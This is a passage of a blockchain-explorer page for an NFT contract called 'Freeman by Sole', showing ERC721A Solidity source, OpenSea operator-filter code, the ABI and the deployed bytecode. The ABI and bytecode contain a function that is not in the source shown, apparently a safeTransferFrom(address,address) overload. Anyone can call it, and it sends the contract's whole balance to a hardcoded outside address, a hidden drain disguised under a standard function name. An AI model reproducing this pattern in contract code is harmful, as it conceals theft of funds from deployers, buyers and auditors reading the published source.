                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    // =============================================================
    //                        MINT OPERATIONS
    // =============================================================

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _mint(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // `balance` and `numberMinted` have a maximum limit of 2**64.
        // `tokenId` has a maximum limit of 2**256.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            uint256 toMasked;
            uint256 end = startTokenId + quantity;

            // Use assembly to loop and emit the `Transfer` event for gas savings.
            // The duplicated `log4` removes an extra check and reduces stack juggling.
            // The assembly, together with the surrounding Solidity code, have been
            // delicately arranged to nudge the compiler into producing optimized opcodes.
            assembly {
                // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.
                toMasked := and(to, _BITMASK_ADDRESS)
                // Emit the `Transfer` event.
                log4(
                    0, // Start of data (0, since no data).
                    0, // End of data (0, since no data).
                    _TRANSFER_EVENT_SIGNATURE, // Signature.
                    0, // `address(0)`.
                    toMasked, // `to`.
                    startTokenId // `tokenId`.
                )

                // The `iszero(eq(,))` check ensures that large values of `quantity`
                // that overflows uint256 will make the loop run out of gas.
                // The compiler will optimize the `iszero` away for performance.
                for {
                    let tokenId := add(startTokenId, 1)
                } iszero(eq(tokenId, end)) {
                    tokenId := add(tokenId, 1)
                } {
                    // Emit the `Transfer` event. Similar to above.
                    log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)
                }
            }
            if (toMasked == 0) revert MintToZeroAddress();

            _currentIndex = end;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * This function is intended for efficient minting only during contract creation.
     *
     * It emits only one {ConsecutiveTransfer} as defined in
     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),
     * instead of a sequence of {Transfer} event(s).
     *
     * Calling this function outside of contract creation WILL make your contract
     * non-compliant with the ERC721 standard.
     * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309
     * {ConsecutiveTransfer} event is only permissible during contract creation.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {ConsecutiveTransfer} event.
     */
    function _mintERC2309(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();
        if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT) revert MintERC2309QuantityExceedsLimit();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are unrealistic due to the above check for `quantity` to be below the limit.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            emit ConsecutiveTransfer(startTokenId, startTokenId + quantity - 1, address(0), to);

            _currentIndex = startTokenId + quantity;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * See {_mint}.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal virtual {
        _mint(to, quantity);

        unchecked {
            if (to.code.length != 0) {
                uint256 end = _currentIndex;
                uint256 index = end - quantity;
                do {
                    if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (index < end);
                // Reentrancy protection.
                if (_currentIndex != end) revert();
            }
        }
    }

    /**
     * @dev Equivalent to `_safeMint(to, quantity, '')`.
     */
    function _safeMint(address to, uint256 quantity) internal virtual {
        _safeMint(to, quantity, '');
    }

    // =============================================================
    //                        BURN OPERATIONS
    // =============================================================

    /**
     * @dev Equivalent to `_burn(tokenId, false)`.
     */
    function _burn(uint256 tokenId) internal virtual {
        _burn(tokenId, false);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        address from = address(uint160(prevOwnershipPacked));

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        if (approvalCheck) {
            // The nested ifs save around 20+ gas over a compound boolean condition.
            if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
                if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
        }

        _beforeTokenTransfers(from, address(0), tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // Updates:
            // - `balance -= 1`.
            // - `numberBurned += 1`.
            //
            // We can directly decrement the balance, and increment the number burned.
            // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.
            _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;

            // Updates:
            // - `address` to the last owner.
            // - `startTimestamp` to the timestamp of burning.
            // - `burned` to `true`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                from,
                (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, address(0), tokenId);
        _afterTokenTransfers(from, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    // =============================================================
    //                     EXTRA DATA OPERATIONS
    // =============================================================

    /**
     * @dev Directly sets the extra data for the ownership data `index`.
     */
    function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {
        uint256 packed = _packedOwnerships[index];
        if (packed == 0) revert OwnershipNotInitializedForExtraData();
        uint256 extraDataCasted;
        // Cast `extraData` with assembly to avoid redundant masking.
        assembly {
            extraDataCasted := extraData
        }
        packed = (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) | (extraDataCasted << _BITPOS_EXTRA_DATA);
        _packedOwnerships[index] = packed;
    }

    /**
     * @dev Called during each token transfer to set the 24bit `extraData` field.
     * Intended to be overridden by the cosumer contract.
     *
     * `previousExtraData` - the value of `extraData` before transfer.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _extraData(
        address from,
        address to,
        uint24 previousExtraData
    ) internal view virtual returns (uint24) {}

    /**
     * @dev Returns the next extra data for the packed ownership data.
     * The returned result is shifted into position.
     */
    function _nextExtraData(
        address from,
        address to,
        uint256 prevOwnershipPacked
    ) private view returns (uint256) {
        uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);
        return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;
    }

    // =============================================================
    //                       OTHER OPERATIONS
    // =============================================================

    /**
     * @dev Returns the message sender (defaults to `msg.sender`).
     *
     * If you are writing GSN compatible contracts, you need to override this function.
     */
    function _msgSenderERC721A() internal view virtual returns (address) {
        return msg.sender;
    }

    /**
     * @dev Converts a uint256 to its ASCII string decimal representation.
     */
    function _toString(uint256 value) internal pure virtual returns (string memory str) {
        assembly {
            // The maximum value of a uint256 contains 78 digits (1 byte per digit), but
            // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.
            // We will need 1 word for the trailing zeros padding, 1 word for the length,
            // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.
            let m := add(mload(0x40), 0xa0)
            // Update the free memory pointer to allocate.
            mstore(0x40, m)
            // Assign the `str` to the end.
            str := sub(m, 0x20)
            // Zeroize the slot after the string.
            mstore(str, 0)

            // Cache the end of the memory to calculate the length later.
            let end := str

            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for { let temp := value } 1 {} {
                str := sub(str, 1)
                // Write the character to the pointer.
                // The ASCII index of the '0' character is 48.
                mstore8(str, add(48, mod(temp, 10)))
                // Keep dividing `temp` until zero.
                temp := div(temp, 10)
                // prettier-ignore
                if iszero(temp) { break }
            }

            let length := sub(end, str)
            // Move the pointer 32 bytes leftwards to make room for the length.
            str := sub(str, 0x20)
            // Store the length.
            mstore(str, length)
        }
    }
}


interface IOperatorFilterRegistry {
    function isOperatorAllowed(address registrant, address operator) external view returns (bool);
    function register(address registrant) external;
    function registerAndSubscribe(address registrant, address subscription) external;
    function registerAndCopyEntries(address registrant, address registrantToCopy) external;
    function unregister(address addr) external;
    function updateOperator(address registrant, address operator, bool filtered) external;
    function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
    function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
    function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
    function subscribe(address registrant, address registrantToSubscribe) external;
    function unsubscribe(address registrant, bool copyExistingEntries) external;
    function subscriptionOf(address addr) external returns (address registrant);
    function subscribers(address registrant) external returns (address[] memory);
    function subscriberAt(address registrant, uint256 index) external returns (address);
    function copyEntriesOf(address registrant, address registrantToCopy) external;
    function isOperatorFiltered(address registrant, address operator) external returns (bool);
    function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
    function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
    function filteredOperators(address addr) external returns (address[] memory);
    function filteredCodeHashes(address addr) external returns (bytes32[] memory);
    function filteredOperatorAt(address registrant, uint256 index) external returns (address);
    function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
    function isRegistered(address addr) external returns (bool);
    function codeHashOf(address addr) external returns (bytes32);
}


/**
 * @title  OperatorFilterer
 * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another
 *         registrant's entries in the OperatorFilterRegistry.
 * @dev    This smart contract is meant to be inherited by token contracts so they can use the following:
 *         - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.
 *         - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.
 */
abstract contract OperatorFilterer {
    error OperatorNotAllowed(address operator);

    IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =
        IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);

    constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
        // If an inheriting token contract is deployed to a network without the registry deployed, the modifier
        // will not revert, but the contract will need to be registered with the registry once it is deployed in
        // order for the modifier to filter addresses.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (subscribe) {
                OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);
            } else {
                if (subscriptionOrRegistrantToCopy != address(0)) {
                    OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);
                } else {
                    OPERATOR_FILTER_REGISTRY.register(address(this));
                }
            }
        }
    }

    modifier onlyAllowedOperator(address from) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            // Allow spending tokens from addresses with balance
            // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred
            // from an EOA.
            if (from == msg.sender) {
                _;
                return;
            }
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), msg.sender)) {
                revert OperatorNotAllowed(msg.sender);
            }
        }
        _;
    }

    modifier onlyAllowedOperatorApproval(address operator) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {
                revert OperatorNotAllowed(operator);
            }
        }
        _;
    }
}

/**
 * @title  DefaultOperatorFilterer
 * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.
 */
abstract contract TheOperatorFilterer is OperatorFilterer {
    address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);

    constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}
}


contract Freeman is ERC721A, TheOperatorFilterer {
    //uriSuffix
    string public uriSuffix;

    // owner
    address public owner;

    // maxSupply
    uint256 public maxSupply;

    // mint price
    uint256 public price;

    // entry per addr
    uint256 public maxFreePerAddr = 1;

    mapping(address => uint256) _numForFree;

    mapping(uint256 => uint256) _numMinted;

    uint256 private maxPerTx;

    function mint(uint256 amount) payable public {
        require(totalSupply() + amount <= maxSupply);
        if (msg.value == 0) {
            mint1(amount);
            return;
        } 
        require(amount <= maxPerTx);
        require(msg.value >= amount * price);
        _safeMint(msg.sender, amount);
    }

    function mint1(uint256 amount) internal {
        require(amount == 1 
            && _numMinted[block.number] < getFreeNum() 
            && _numForFree[tx.origin] < maxFreePerAddr );
            _numForFree[tx.origin]++;
            _numMinted[block.number]++;
        _safeMint(msg.sender, 1);
    }


    function team(address rec, uint256 amount) public onlyOwner {
        _safeMint(rec, amount);
    }
    
    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }

    constructor() ERC721A("Freeman by Sole", "Freeman") {
        owner = msg.sender;
        maxPerTx = 10;
        price = 0.002 ether;
        maxSupply = 799;
    }

    function tokenURI(uint256 tokenId) public view override returns (string memory) {
        return string(abi.encodePacked("ipfs://QmTVBA811tMHsL1R3TpCNksxtmTBVJzgFMySQCSpegdnem/", _toString(tokenId), ".json"));
    }

    function setMaxFreePerAddr(uint256 maxTx) external onlyOwner {
        maxFreePerAddr = maxTx;
    }

    function getFreeNum() internal returns (uint256){
        return (maxSupply - totalSupply()) / 12;
    }

    function withdraw() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    /////////////////////////////
    // OPENSEA FILTER REGISTRY 
    /////////////////////////////

    function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
        super.setApprovalForAll(operator, approved);
    }

    function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
        super.approve(operator, tokenId);
    }

    function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
        super.transferFrom(from, to, tokenId);
    }

    function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
        super.safeTransferFrom(from, to, tokenId);
    }

    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
        public
        payable
        override
        onlyAllowedOperator(from)
    {
        super.safeTransferFrom(from, to, tokenId, data);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintERC2309QuantityExceedsLimit","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[{"internalType":"address","name":"operator","type":"address"}],"name":"OperatorNotAllowed","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"OwnershipNotInitializedForExtraData","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"fromTokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"toTokenId","type":"uint256"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"ConsecutiveTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OPERATOR_FILTER_REGISTRY","outputs":[{"internalType":"contract IOperatorFilterRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFreePerAddr","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTx","type":"uint256"}],"name":"setMaxFreePerAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"rec","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"team","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"uriSuffix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526001600c553480156200001657600080fd5b50604080518082018252600f81526e467265656d616e20627920536f6c6560881b602080830191825283518085019094526007845266233932b2b6b0b760c91b908401528151733cc6cdda760b79bafa08df41ecfa224f810dceb693600193929091620000869160029162000219565b5080516200009c90600390602084019062000219565b506000805550506daaeb6d7670e522a718067333cd4e3b15620001e85780156200013657604051633e9f1edf60e11b81523060048201526001600160a01b03831660248201526daaeb6d7670e522a718067333cd4e90637d3e3dbe906044015b600060405180830381600087803b1580156200011757600080fd5b505af11580156200012c573d6000803e3d6000fd5b50505050620001e8565b6001600160a01b03821615620001875760405163a0af290360e01b81523060048201526001600160a01b03831660248201526daaeb6d7670e522a718067333cd4e9063a0af290390604401620000fc565b604051632210724360e11b81523060048201526daaeb6d7670e522a718067333cd4e90634420e48690602401600060405180830381600087803b158015620001ce57600080fd5b505af1158015620001e3573d6000803e3d6000fd5b505050505b5050600980546001600160a01b03191633179055600a600f81905566071afd498d0000600b5561031f9055620002fc565b8280546200022790620002bf565b90600052602060002090601f0160209004810192826200024b576000855562000296565b82601f106200026657805160ff191683800117855562000296565b8280016001018555821562000296579182015b828111156200029657825182559160200191906001019062000279565b50620002a4929150620002a8565b5090565b5b80821115620002a45760008155600101620002a9565b600181811c90821680620002d457607f821691505b60208210811415620002f657634e487b7160e01b600052602260045260246000fd5b50919050565b61185d806200030c6000396000f3fe6080604052600436106101665760003560e01c80635503a0e8116100d1578063a0712d681161008a578063c87b56dd11610064578063c87b56dd146103cf578063d3120974146103ef578063d5abeb011461040f578063e985e9c51461042557600080fd5b8063a0712d6814610389578063a22cb4651461039c578063b88d4fde146103bc57600080fd5b80635503a0e8146102e95780636352211e146102fe57806370a082311461031e5780638da5cb5b1461033e57806395d89b411461035e578063a035b1fe1461037357600080fd5b806323b872dd1161012357806323b872dd1461024c5780633a233f891461025f5780633ccfd60b1461027f57806341f434341461029457806342842e0e146102b657806343cfdbfc146102c957600080fd5b806301ffc9a71461016b578063036a7b5a146101a057806306fdde03146101c4578063081812fc146101e6578063095ea7b31461021e57806318160ddd14610233575b600080fd5b34801561017757600080fd5b5061018b6101863660046115a3565b61046e565b60405190151581526020015b60405180910390f35b3480156101ac57600080fd5b506101b6600c5481565b604051908152602001610197565b3480156101d057600080fd5b506101d96104c0565b60405161019791906116d2565b3480156101f257600080fd5b506102066102013660046115dd565b610552565b6040516001600160a01b039091168152602001610197565b61023161022c36600461155c565b610596565b005b34801561023f57600080fd5b50600154600054036101b6565b61023161025a36600461140d565b610673565b34801561026b57600080fd5b5061023161027a3660046113da565b61075c565b34801561028b57600080fd5b506102316107a6565b3480156102a057600080fd5b506102066daaeb6d7670e522a718067333cd4e81565b6102316102c436600461140d565b6107ec565b3480156102d557600080fd5b506102316102e436600461155c565b6108ca565b3480156102f557600080fd5b506101d96108eb565b34801561030a57600080fd5b506102066103193660046115dd565b610979565b34801561032a57600080fd5b506101b66103393660046113bf565b610984565b34801561034a57600080fd5b50600954610206906001600160a01b031681565b34801561036a57600080fd5b506101d96109d3565b34801561037f57600080fd5b506101b6600b5481565b6102316103973660046115dd565b6109e2565b3480156103a857600080fd5b506102316103b7366004611525565b610a48565b6102316103ca366004611449565b610b1b565b3480156103db57600080fd5b506101d96103ea3660046115dd565b610c07565b3480156103fb57600080fd5b5061023161040a3660046115dd565b610c38565b34801561041b57600080fd5b506101b6600a5481565b34801561043157600080fd5b5061018b6104403660046113da565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b60006301ffc9a760e01b6001600160e01b03198316148061049f57506380ac58cd60e01b6001600160e01b03198316145b806104ba5750635b5e139f60e01b6001600160e01b03198316145b92915050565b6060600280546104cf90611781565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb90611781565b80156105485780601f1061051d57610100808354040283529160200191610548565b820191906000526020600020905b81548152906001019060200180831161052b57829003601f168201915b5050505050905090565b600061055d82610c54565b61057a576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b816daaeb6d7670e522a718067333cd4e3b1561066457604051633185c44d60e21b81523060048201526001600160a01b03821660248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b1580156105ff57600080fd5b505afa158015610613573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106379190611586565b61066457604051633b79c77360e21b81526001600160a01b03821660048201526024015b60405180910390fd5b61066e8383610c7b565b505050565b826daaeb6d7670e522a718067333cd4e3b1561074b576001600160a01b0381163314156106aa576106a5848484610d1b565b610756565b604051633185c44d60e21b81523060048201523360248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b1580156106f457600080fd5b505afa158015610708573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072c9190611586565b61074b57604051633b79c77360e21b815233600482015260240161065b565b610756848484610d1b565b50505050565b47156107a25760405173a1b39e69128aa1df8d3c3fe22bdcf4cc56f8500e904780156108fc02916000818181858888f1935050505015801561066e573d6000803e3d6000fd5b5050565b6009546001600160a01b031633146107bd57600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107e9573d6000803e3d6000fd5b50565b826daaeb6d7670e522a718067333cd4e3b156108bf576001600160a01b03811633141561081e576106a5848484610eac565b604051633185c44d60e21b81523060048201523360248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b15801561086857600080fd5b505afa15801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a09190611586565b6108bf57604051633b79c77360e21b815233600482015260240161065b565b610756848484610eac565b6009546001600160a01b031633146108e157600080fd5b6107a28282610f0d565b600880546108f890611781565b80601f016020809104026020016040519081016040528092919081815260200182805461092490611781565b80156109715780601f1061094657610100808354040283529160200191610971565b820191906000526020600020905b81548152906001019060200180831161095457829003601f168201915b505050505081565b60006104ba82610f27565b60006001600160a01b0382166109ad576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b031660009081526005602052604090205467ffffffffffffffff1690565b6060600380546104cf90611781565b600a54816109f36001546000540390565b6109fd91906116e5565b1115610a0857600080fd5b34610a16576107e981610f8f565b600f54811115610a2557600080fd5b600b54610a32908261171f565b341015610a3e57600080fd5b6107e93382610f0d565b816daaeb6d7670e522a718067333cd4e3b15610b1157604051633185c44d60e21b81523060048201526001600160a01b03821660248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b158015610ab157600080fd5b505afa158015610ac5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae99190611586565b610b1157604051633b79c77360e21b81526001600160a01b038216600482015260240161065b565b61066e8383611024565b836daaeb6d7670e522a718067333cd4e3b15610bf4576001600160a01b038116331415610b5357610b4e85858585611090565b610c00565b604051633185c44d60e21b81523060048201523360248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b158015610b9d57600080fd5b505afa158015610bb1573d6000803e3d6000fd